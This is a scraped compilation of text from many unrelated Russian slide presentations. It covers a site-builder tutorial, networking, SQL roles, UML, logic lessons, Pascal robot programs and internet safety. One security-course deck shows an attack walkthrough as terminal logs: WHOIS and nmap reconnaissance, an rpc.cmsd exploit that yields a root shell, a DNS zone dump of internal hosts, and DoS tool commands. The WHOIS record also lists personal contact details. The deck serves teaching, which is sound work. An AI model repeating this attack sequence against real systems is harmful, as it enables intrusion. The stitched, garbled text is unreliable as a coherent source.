Для начала работы с Конструктором сайтов нажмите на ссылку «Создать сайт с помощью конструктора» на главной странице сервиса.
Требования к браузерам и настройкам
Для корректной работы Конструктора сайтов используйте браузеры: Mozilla Firefox 3 и выше, Internet Explorer 6 и выше, Safari 4 и выше, Opera 9.2 и выше, Google Chrome.

После нажатия на кнопке «Создать сайт» вы попадаете в конструктор сайта.
Первая страница – «Спецификация сайта». Здесь Вы выбираете будущую тематику сайта. В нашем случае выбираем «чистый дизайн» - это значит, что все элементы будут заданы вручную.
Общие параметры сайта.
В большинстве случаев их можно оставлять пустыми. А в дальнейшем, по мере необходимости, их можно будет заполнить.

Оформление макета.
На этой странице можно подобрать  для себя именно ту конфигурацию сайта, которая больше всего вам нравиться. То есть, где на нем будет место для меню, во сколько колонок будет на нем размещен текст, какого вида будет на нем шапка, каким шрифтом будет отображен текст и прочее. На этой странице можно подобрать именно эти параметры.
Окончив с дизайном можно приступать к заполнению сайта текстовым материалом.
Выбираете в закладке «Основные» пункт «Текст», затем мышкой выбираете место на странице для размещения текстового блока, кликаете на нем.

Затем нажимаете «Написать»

Появляется окно, в котором можно набирать, редактировать текст.
По ходу использования редактора сайта будут появляться всплывающие подсказки, которые помогут разобраться в механизме работы редактора.

Каждая новая страница сайта служит для опубликования различной по содержанию информации.

Редактор текста не сложен в использовании. Остановимся на вставке в текст ссылок на файлы.
Для вставки ссылки на файл для скачивания, Вам изначально необходимо поместить сам файл в интернете. Для этого существуют файлообменные сервисы типа Народ.ру, Депозит и прочие. Если мы говорим о сайте на бесплатном хостинге Народ.Ру, то и подробно рассмотрим размещение файлом на этом же сервисе.

Для этого нужно зайти на стартовую страницу narod.ru

Нас на ней нас интересует правая часть страницы с кнопкой «Выбрать файл». При ее нажатии открывается окно, в котором можно выбрать файл на вашем компьютере и загрузить его в интернет для последующего его скачивания другими пользователями интернета вне зависимости от того, где они территориально находятся.
После выбора файла необходимо дождаться полной его загрузки.
После загрузки файла появится окно со ссылкой, которую нужно скопировать.

Вернемся к окну редактирования текста.

Для вставки нашей ссылки в текст сначала его нужно выделить мышкой, а затем нажать на кнопку в меню редактора.

В Окне «Добавить ссылку» есть два параметра доступных для заполнения. В первый нужно вставить саму ссылку, которую мы получили ранее, а во второй строке можно ввести подсказку, которая будет появляться на экране при наведении указателя мышки на ссылку.

После нажимаем на кнопку «Вставить». В итоге мы получаем следующий текст.
В нем слово «страницы» превратилось в ссылку на файл для скачивания.


title: Презентация на тему: умники и умницы

text:
100
200
300
400
500
100
200
300
400
500
100
200
300
400
500
100
200
300
400
500
100
200
300
400
500
V-
X-
1010112, 101012, 11000002


text:
193.233.70.197
193.233.70.199
223.1.2.1
223.1.2.3
223.1.2.4
08:00:39:00:2F:C3
08:00:5A:21:A7:22
08:00:10:99:AC:54
Ethernet
IP
ARP
UDP
TCP
223.1.2.1
08:00:39:00:2F:C3
223.1.2.3
08:00:5A:21:A7:22
223.1.2.4
08:00:10:99:AC:54
223.1.2.2
Telnet   223.1.2.2
223.1.2.1
223.1.2.3
223.1.2.4223.1.2.2
08:00:39:00:2F:C3
08:00:5A:21:A7:22
08:00:10:99:AC:54?
Telnet   223.1.2.2
223.1.2.1
08:00:39:00:2F:C3
223.1.2.3
08:00:5A:21:A7:22
223.1.2.4
08:00:10:99:AC:54
223.1.2.2
08:00:28:00:38:A9
223.1.2.1
08:00:39:00:2F:C3
223.1.2.1
08:00:39:00:2F:C3
223.1.2.3
08:00:5A:21:A7:22
223.1.2.4
08:00:10:99:AC:54
223.1.2.2
08:00:28:00:38:A9
223.1.2.1
08:00:39:00:2F:C3
223.1.2.2
08:00:28:00:38:A9
223.1.2.1
08:00:39:00:2F:C3
223.1.2.3
08:00:5A:21:A7:22
223.1.2.4
08:00:10:99:AC:54
223.1.2.2
08:00:28:00:38:A9
Telnet   223.1.2.2
223.1.2.1
223.1.2.2
223.1.2.3
223.1.2.4
08:00:39:00:2F:C3
08:00:28:00:38:A9
08:00:5A:21:A7:22
08:00:10:99:AC:54
LHA
0
31
LPA
16
223.1.2.1
Switch
223.1.2.8
223.1.2.1
Switch
223.1.2.8
223.1.2.1
223.1.2.8
Switch
223.1.2.1
Switch
223.1.2.1
0
8
16
24
31
LHAEth.= 6
LPAIP = 4
Windows 95/98/NT


title: Презентация на тему: Уязвимости и атаки. БЕЗОПАСНОСТЬ КОМПЬТЕРНЫХ СЕТЕЙ (Курс БТ03)

text:
Top 20
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
Draft - 2.05.98
DMZ-2
DMZ-1
TCP/IP
NetBEUI
IPX/SPX
DMZ-2
DMZ-1

Port = 139, OOB

WHOIS Search
ACMETRADE.COM
Registrant:
Acmetrade.com, Inc. (ACMETRADE-DOM)
    6600 Peachtree Dunwoody Road
    Atlanta, GA 30338

    Domain Name: ACMETRADE.COM

    Administrative Contact:
        Vaughn, Danon (ES2394) dvaughn@ACMETRADE.COM
        (678)443-6000 (FAX) (678) 443-6476
    Technical Contact, Zone Contact:
        Bergman, Bret (ET2324) bbergman@ACMETRADE.COM
        (678)443-6100 (FAX) (678) 443-6208
    Billing Contact:
        Fields, Hope  (ET3427) hfields@ACMETRADE.COM
        (678)443-6101 (FAX) (678) 443-6401

    Record Last updated on 27-Jul-99.
    Record created on 06-Mar-98.
    Database last updated on 4-Oct-99 09:09:01 EDT

    Domain servers in listed order:

    dns.acmetrade.com	208.21.2.67
    www.acmetrade.com	208.21.2.10
    www1.acmetrade.com	208.21.2.12
    www2.acmetrade.com	208.21.2.103
http://www.networksolutions.com/cgi-bin/whois/whois/?STRING=acmetrade.com
[hacker@linux131 hacker]$ nmap 200.0.0.143

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on  (200.0.0.143):
(The 1516 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp      open         ftp
25/tcp      open         smtp
80/tcp      open         http
135/tcp    open         loc-srv
139/tcp    open         netbios-ssn
443/tcp    open         https
465/tcp    open         smtps

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
[hacker@linux131 hacker]$
hacker:/export/home/hacker>
./rpcscan dns.acmetrade.com cmsd
Scanning dns.acmetrade.com for program 100068
cmsd is on port 33505
hacker:/export/home/hacker>
UNIX
Firewall
DNS Server
Web Server
Filtering Router
NT
Clients & Workstations
Network
UNIX
NT
UNIX
UNIX
Firewall
DNS Server
Web Server
Filtering Router
NT
Clients & Workstations
Network
UNIX
NT
UNIX
rpc.cmsd
hacker:/export/home/hacker>
id
uid=1002(hacker) gid=10(staff)
hacker:/export/home/hacker>
uname -a
SunOS evil.hacker.com 5.6 Generic_105181-05 sun4u sparc SUNW,UltraSPARC-IIi-Engine
hacker:/export/home/hacker>
./cmsd dns.acmetrade.com
using source port 53
rtable_create worked
Exploit successful.  Portshell created on port 33505
hacker:/export/home/hacker>
Trying 208.21.2.67...
Connected to dns.acmetrade.com.
Escape character is '^]'.
#
id
uid=0(root) gid=0(root)
#
uname -a
SunOS dns 5.5.1 Generic_103640-24 sun4m sparc SUNW,SPARCstation-5
#
telnet dns.acmetrade.com 33505
#
#
nslookup
Default Server: dns.acmetrade.com
Address: 208.21.2.67
>
>
ls acmetrade.com
Received 15 records.
^D
[dns.acmetrade.com]
www.acmetrade.com			208.21.2.10
www1.acmetrade.com		208.21.2.12
www2.acmetrade.com		208.21.2.103
margin.acmetrade.com		208.21.4.10
marketorder.acmetrade.com		208.21.2.62
deriv.acmetrade.com		208.21.2.25
deriv1.acmetrade.com		208.21.2.13
bond.acmetrade.com		208.21.2.33
ibd.acmetrade.com			208.21.2.27
fideriv.acmetrade.com		208.21.4.42
backoffice.acmetrade.com		208.21.4.45
wiley.acmetrade.com		208.21.2.29
bugs.acmetrade.com		208.21.2.89
fw.acmetrade.com			208.21.2.94
fw1.acmetrade.com			208.21.2.21
www.securityfocus.com/bid
www.sans.org
CVE:   CAN-2002-0649
http://cve.mitre.org/cve
http://cve.mitre.org/cve
CAN-1999-0067
CVE-1999-0067
ISS RealSecure
CERT Advisory
Cisco Database
Axent NetRecon
land attack (spoofed SYN)
Impossible IP Packet
Bugtrag
CA-97.28.Teardrop_Land
Land
NT4-SP3and 95 [latierra.c]
CVE-1999-0016 Land IP denial of service
CVE
CERT Advisory
Bugtrag
ISS RealSecure
Cisco Database
Axent NetRecon
CVE entry (sql-slammer-worm)
CAN-2002-0649 (under review)

Multiple buffer overflows in SQL Server 2000 Resolution Service allow remote attackers to cause a denial of service or execute arbitrary code via UDP packets to port 1434 in which (1) a 0x04 byte causes the SQL Monitor thread to generate a long registry key name, or (2) a 0x08 byte with a long string causes heap corruption. .

BUGTRAQ:20020725 Microsoft SQL Server 2000 Unauthenticated System Compromise (#NISR25072002)
URL:http://marc.theaimsgroup.com/?l=bugtraq&m=102760196931518&w=2
NTBUGTRAQ:20020725 Microsoft SQL Server 2000 Unauthenticated System Compromise (#NISR25072002)
URL:http://marc.theaimsgroup.com/?l=ntbugtraq&m=102760479902411&w=2
MS:MS02-039
URL:http://www.microsoft.com/technet/security/bulletin/ms02-039.asp
http://cve.mitre.org/cve
DMZ-2
DMZ-1
DMZ-2
DMZ-1
DMZ-2
DMZ-1
# ./neptun www.company.com
DMZ-2
DMZ-1
DMZ-2
DMZ-1
# nuke www.company.com
DMZ-2
DMZ-1
# WebDAV www.company.com
Top 20
http://www.sans.org/top20
http://www.sans.org/top20
The hacker begins with only a target.  At this point the hacker has little or no information about the target host.
Typically, the first thing the hacker will do is use a internet domain name registrar to gather some publicly available info about the target host and its associated network(s).
Here, the hacker enters the name of the target and submits it.


Презентация на тему: У нас в школе появился Интернет


title: Презентация на тему: Управление доступом к данным

text:
Securityadmin
Setupadmin
Serveradmin
Sysadmin
Bulkadmin
Diskadmin
Dbcreator
Processadmin
Public role
Guest
User
DBO role
Database owner
Application role
Object permissions
Statement permissions
User-defined database role
Fixed database role
Db_backupoperator
Db_ddladmin
Db_securityadmin
Db_accessadmin
Db_owner
Db_denydatawriter
Db_denydatareader
Db_datawriter
Db_datareader


title: Презентация на тему: UML

text:
Click to edit Master text styles
Second level
Linim veniam, quis nostrud exerci nostrud exerci tation ullamcorper
Linim veniam, quis nostrud exerci tatioexerc el
Fourth level
Fifth level
CLICK TO EDIT TITLE
Click to edit Master text styles
Second level
Linim veniam, quis nostrud exerci nostrud exerci tation ullamcorper
Linim veniam, quis nostrud exerci tatioexerc el
Fourth level
Fifth level
CLICK TO EDIT TITLE

Oracle Designer
BPwin,
ERwin
Rational Rose
Defense
 MIS System
Defense Weapon System
Telecom
Switch
CASE Tool
National Air Traffic
Control  System
Enterprise IS
(Family of IS
Applications)
Commercial
Compiler
Business
Spreadsheet
IS Application
Distributed Objects
(Order Entry)
Small Scientific
Simulation
Large-Scale
Organization/Entity
Simulation
Embedded
Automotive
Software
Best Practices
Meyer
Before and after
     conditions
Harel
Statecharts
Gamma, et al
Patterns
HP Fusion
Operation descriptions and
message numbering
Embley
Singleton classes and
high-level view
Wirfs-Brock
Responsibilities
Odell
Classification
Shlaer - Mellor
Object lifecycles
Rumbaugh
OMT
Booch
Booch method
Jacobson
OOSE
MDA
Model Driven
Architecture
GoF
Design patterns
OCL
Object
Constraint
Language
BPML, BPMN
Business Process
Modeling Language/
Notation
      J2EE
Java 2
Enterprise
Edition
CORBA
Common Object
Request Broker
Architecture
           SOA
Service-oriented
architectures
      BPEL
Business Process
Execution Language
Don Baisley
Morgan Bjorkander
Conrad Bock
Steve Cook
Philippe Desfray
Nathan Dykman
Anders Ek
David Frankel
Eran Gery
Oystein Haugen
Sridhar Iyengar
Cris Kobryn
Birger Moller-Pedersen
James Odell
Gunnar Overgaard
Karin Palmkvist
Guus Ramackers
Jim Rumbaugh
Bran Selic
Thomas Weigert
Larry Williams


text:
Sysadmin
Serveradmin
Setupadmin
Securityadmin
Processadmin
Dbcreator
Diskadmin
Bulkadmin
Database owner
DBO role
User
Guest
Public role
Fixed database role
User-defined database role
Statement permissions
Object permissions
Application role
Db_owner
Db_accessadmin
Db_securityadmin
Db_ddladmin
Db_backupoperator
Db_datareader
Db_datawriter
Db_denydatareader
Db_denydatawriter


title: Презентация на тему: Умей защитить себя и следить за собой

text:
Умей защитить себя и следить за собой в соцсетях
Безсонный: Данилов Никита Алексеевич
Суть
Безопасная работа в социальных сетях: общение, публикация материалов.(Презентация подготовлена для конкурса "Интернешка" http://interneshka.org/")
Или как не допетушиться до большихпроблем и не тупить до ещё больших проблем.
Содержание
Пароль
Цензура
Ты в центре событий
Друг или враг?
Кто это?
Пароль
Создание хорошего пароля не требует стольких усилий, сколько борьба с проблемами из-за лёгкого. Старайтесь запомнить его.
Цензура
Старайтесь исключить нецензурную лексику, а также оскорбления в чей-то адрес
Ты в центре событий
Не забывай, что ты тоже хоть и маленькая, но звёздочка, а значит на тебя любой может обратить внимание
Друг или враг?
Не распространяйте информацию сомнительного содержания, по просьбе знакомого по соцсети.
Не предоставляйте личную или лишнюю информацию незнакомым людям
Кто это?
Под маской может скрываться кто угодно, не позволяйте манипулировать мсобой
Знаете, только сейчас до меня прошло, каково это не спать всю ночь.Надеюсь вы находите время на отдых.


title: Презентация на тему: Управление без обратной связи

text:
Проект «Управление без обратной связи» на языке Visual Basic
Поместить на форму:
Графическое поле PictureBox1, по которому будет перемещаться точка;
Кнопку Button1 для запуска обработчика события вывода первоначального положения точки;
Кнопку Button2 для запуска обработчика события вывода конечного положения точки;
Четыре кнопки для управления движением точки
Создать обработчик события вывода первоначального положения управляемого объекта (точки). Обработчик должен включать случайную генерацию координат точки:
Public Class Form1
    Dim Graph1 As Graphics
    Dim Pen1 As New Pen(Color.Black, 3)
    Dim Brush1 As New SolidBrush(Color.Black)
    Dim X, Y As Integer
Private Sub Button1_Click…….
        Graph1 = Me.PictureBox1.CreateGraphics()
        Graph1.Clear(Color.White)
        Randomize()
        X = Int(Rnd() * 200)
        Y = Int(Rnd() * 200)
        Graph1.DrawEllipse(Pen1, X, Y, 2, 2)
        Graph1.FillEllipse(Brush1, X, Y, 2, 2)
        Graph1.DrawEllipse(Pen1, 90, 90, 20, 20)
    End Sub
Четыре обработчика события перемещения точки должны обеспечивать изменение координат точки.
Вправо:
Private Sub Button6_Click ….
        X = X + 1
   End Sub
Вверх:
Private Sub Button3_Click …
        Y = Y - 1
    End Sub
Создать обработчик события, выводящий конечное положение управляемого объекта (точки):
Private Sub Button2_Click …
        Graph1.DrawEllipse(Pen1, X, Y, 2, 2)
        Graph1.FillEllipse(Brush1, X, Y, 2, 2)
    End Sub


text:
Гущина Наталия Викторовна, учитель информатики МБОУ СОШ с. Тунгор
Умозаключение как форма мышления
6 класс
2

Умозаключение – форма мышления, посредством  которой из одного или нескольких суждений, называемых посылками, мы по определённым правилам вывода получаем суждение-заключение.

                В
А
   С
В
С
А
Правило1. Если все А являются В, а все В являются С, то все А являются С.
и
«Если все воробьи – птицы,
а все птицы – животные,
то все воробьи являются животными»
посылки
заключение

3

3

Умозаключение – форма мышления, посредством  которой из одного или нескольких суждений, называемых посылками, мы по определённым правилам вывода получаем суждение-заключение.
«Если ни  один слон не может летать,
и все птицы летают,
   то слон не птица »
заключение

Правило2. Если ни одно А не являются В, а все С являются А, то ни одно  С не являются В.
А
В
А
С
С
В
и
посылки
4
Оформление умозаключений

Все растения на свету поглощают углекислый газ.
Тополь – растение.
Следовательно, тополь поглощает углекислый газ.
5
Виды умозаключений

ДЕДУКТИВНЫЕ
ИНДУКТИВНЫЕ
ПО АНАЛОГИИ
6
Дедукция – переход от общего к частному. Если умозаключение справедливо во всех случаях, то оно справедливо и в каждом частном случае.

Все плотоядные животные  –  хищники.
Все тигры – плотоядные.
Все тигры – хищники.
Различают непосредственные и опосредованные дедуктивные умозаключения.
7
Непосредственное умозаключение (выводится из одной посылки)

Всякая ворона  –  птица.
Некоторые птицы – вороны.
Опосредованное заключение (выводится из нескольких посылок)

Все планеты имеют форму шара.
Земля  – планета.
Следовательно, Земля имеет форму шара.

8
Индукция – переход от частного к общему. Если умозаключение справедливо в некоторых частных случаях, то делается вывод, что оно справедливо и во всех остальных.

Все обыкновенные бегемоты  –  нежвачные парнокопытные
млекопитающие.
Все карликовые бегемоты – нежвачные парнокопытные
млекопитающие.
Все бегемотовые – нежвачные парнокопытные
млекопитающие.
Обыкновенные бегемоты, карликовые бегемоты представляют семейство бегемотовых.

9
Аналогия – умозаключение о принадлежности предмету определенного признака на основании сходства в признаках с другим предметом.

Сходство ландшафта местности, где была найдена нефть, с ландшафтом местности, где идет геологоразведка, позволяет высказать предположение, что и во втором случае в недрах имеется нефть.
10
ОБРАТИТЕ ВНИМАНИЕ

11
Паралогизм - умозаключение, содержащее непреднамеренную ошибку.

Пиджак
Мой пиджак сшит из материи. Материя вечна. Следовательно, мой пиджак вечен.

12

Софизм - умозаключение, содержащее преднамеренную ошибку с целью выдать ложное суждение за истинное.

Лекарство, принимаемое больным, есть добро. Чем больше добра, тем лучше. Значит, лекарств нужно принимать как можно больше.
Лекарство

13
Парадокс - умозаключение, доказывающее как истинность, так и ложность некоторого суждения.

Кто – то должен назвать всех скромных людей. Если в их число он включит самого себя, то получается, что он уже не скромный и не должен фигурировать в этом списке. Если он не назовет себя, то это будет характеризовать его как скромного, значит он должен себя назвать как одного из скромных людей. Парадокс.
Скромный

14
САМОЕ ГЛАВНОЕ

Умозаключение – это мысль, в ходе которой из одного или нескольких суждений выводится новое суждение.

Исходные суждения – посылки,  а полученное суждение – заключение, или следствие.

Переход от посылок к заключению происходит по правилам вывода и законам логики.

Основные правила вывода – это дедукция и индукция


title: Презентация на тему: Управление и алгоритмы

text:
i,1,n
i,1,n
1
1
1
1
Program N1;
var i:integer;
Begin
  For i:=1 to 12 do  RobotForw;
  RobotLeft;
  For i:=1 to 17 do  RobotForw;
  RobotLeft;
  For i:=1 to 12 do  RobotForw;
  RobotLeft;
  For i:=1 to 17 do  RobotForw;
  RobotLeft;
end.
1
1
Program N3;
var i:integer;
Begin
  While FreeForw   do   RobotForw;
  RobotLeft;
  While FreeForw   do   RobotForw;
  RobotLeft;
  While FreeForw   do   RobotForw;
  RobotLeft;
  While FreeForw   do   RobotForw;
  RobotLeft;
end.
1
1
Program N4;
var i:integer;
Begin
 for i:=1 to 4 do begin
           While FreeForw do RobotForw;
           RobotLeft;
           end;
end.
1
i,  1,  4
1
1
1
1
1
1
1
Program N8;
Begin
RobotForw;
While not FreeLeft do begin
                       Select;
                       RobotForw;
                      end;
RobotBack;
While not FreeLeft do RobotBack;
end.
1
1
Program N9;
Begin
While not FreeRight do begin
                        Select;
                        RobotForw;
                       end;
While FreeBack do RobotBack;
RobotLeft;
While not FreeLeft do begin
                       Select;
                       RobotForw;
                      end;
end.
1
1
1
Program N10;
Begin
 RobotLeft;
 While FreeForw  do RobotForw;
 RobotRight;
 While not FreeLeft do RobotForw;
 RobotLeft;
 RobotForw;
 RobotForw;
end.
1
1
1
1
1
1
1
1
1
1
1
Program N1;
var i:integer;
Begin
  For i:=1 to 12 do  RobotForw;
  RobotLeft;
  For i:=1 to 17 do  RobotForw;
  RobotLeft;
  For i:=1 to 12 do  RobotForw;
  RobotLeft;
  For i:=1 to 17 do  RobotForw;
  RobotLeft;
end.
1
1
2
3
4
Program N1;
var i:integer;
Begin
  For i:=1 to 12 do  RobotForw;
  RobotLeft;
  For i:=1 to 17 do  RobotForw;
  RobotLeft;
  For i:=1 to 12 do  RobotForw;
  RobotLeft;
  For i:=1 to 17 do  RobotForw;
  RobotLeft;
end.
5
6
Program N3;
var i:integer;
Begin
  While FreeForw   do   RobotForw;
  RobotLeft;
  While FreeForw   do   RobotForw;
  RobotLeft;
  While FreeForw   do   RobotForw;
  RobotLeft;
  While FreeForw   do   RobotForw;
  RobotLeft;
end.
7
8
Program N4;
var i:integer;
Begin
 for i:=1 to 4 do begin
           While FreeForw do RobotForw;
           RobotLeft;
           end;
end.
9
i,  1,  4
10
1
1
11
12
13
14
Program N8;
Begin
RobotForw;
While not FreeLeft do begin
                       Select;
                       RobotForw;
                      end;
RobotBack;
While not FreeLeft do RobotBack;
end.
15
16
Program N9;
Begin
While not FreeRight do begin
                        Select;
                        RobotForw;
                       end;
While FreeBack do RobotBack;
RobotLeft;
While not FreeLeft do begin
                       Select;
                       RobotForw;
                      end;
end.
17
18
19
Program N10;
Begin
 RobotLeft;
 While FreeForw  do RobotForw;
 RobotRight;
 While not FreeLeft do RobotForw;
 RobotLeft;
 RobotForw;
 RobotForw;
end.
20
21
22
23
23
6
Program N2;
var i:integer;
Begin
  While FreeForw   do   RobotForw;
  RobotLeft;
  While FreeForw   do   RobotForw;
  RobotLeft;
  While FreeForw   do   RobotForw;
  RobotLeft;
  While FreeForw   do   RobotForw;
  RobotLeft;
end.
8
Program N3;
var i:integer;
Begin
 for i:=1 to 4 do begin
           While FreeForw do RobotForw;
           RobotLeft;
           end;
end.
14
Program N7;
Begin
RobotForw;
While not FreeLeft do begin
                       Select;
                       RobotForw;
                      end;
RobotBack;
While not FreeLeft do RobotBack;
end.
16
Program N8;
Begin
While not FreeRight do begin
                        Select;
                        RobotForw;
                       end;
While FreeBack do RobotBack;
RobotLeft;
While not FreeLeft do begin
                       Select;
                       RobotForw;
                      end;
end.
19
Program N9;
Begin
 RobotLeft;
 While FreeForw  do RobotForw;
 RobotRight;
 While not FreeLeft do RobotForw;
 RobotLeft;
 RobotForw;
 RobotForw;
end.
4
Program N1;
var i:integer;
Begin
  For i:=1 to 12 do  RobotForw;
  RobotLeft;
  For i:=1 to 17 do  RobotForw;
  RobotLeft;
  For i:=1 to 12 do  RobotForw;
  RobotLeft;
  For i:=1 to 17 do  RobotForw;
  RobotLeft;
end.
8
Program N3;
var i:integer;
Begin
 for i:=1 to 4 do begin
           While FreeForw do RobotForw;
           RobotLeft;
           end;
end.
9
i,  1,  4
14
Program N7;
Begin
RobotForw;
While not FreeLeft do begin
                       Select;
                       RobotForw;
                      end;
RobotBack;
While not FreeLeft do RobotBack;
end.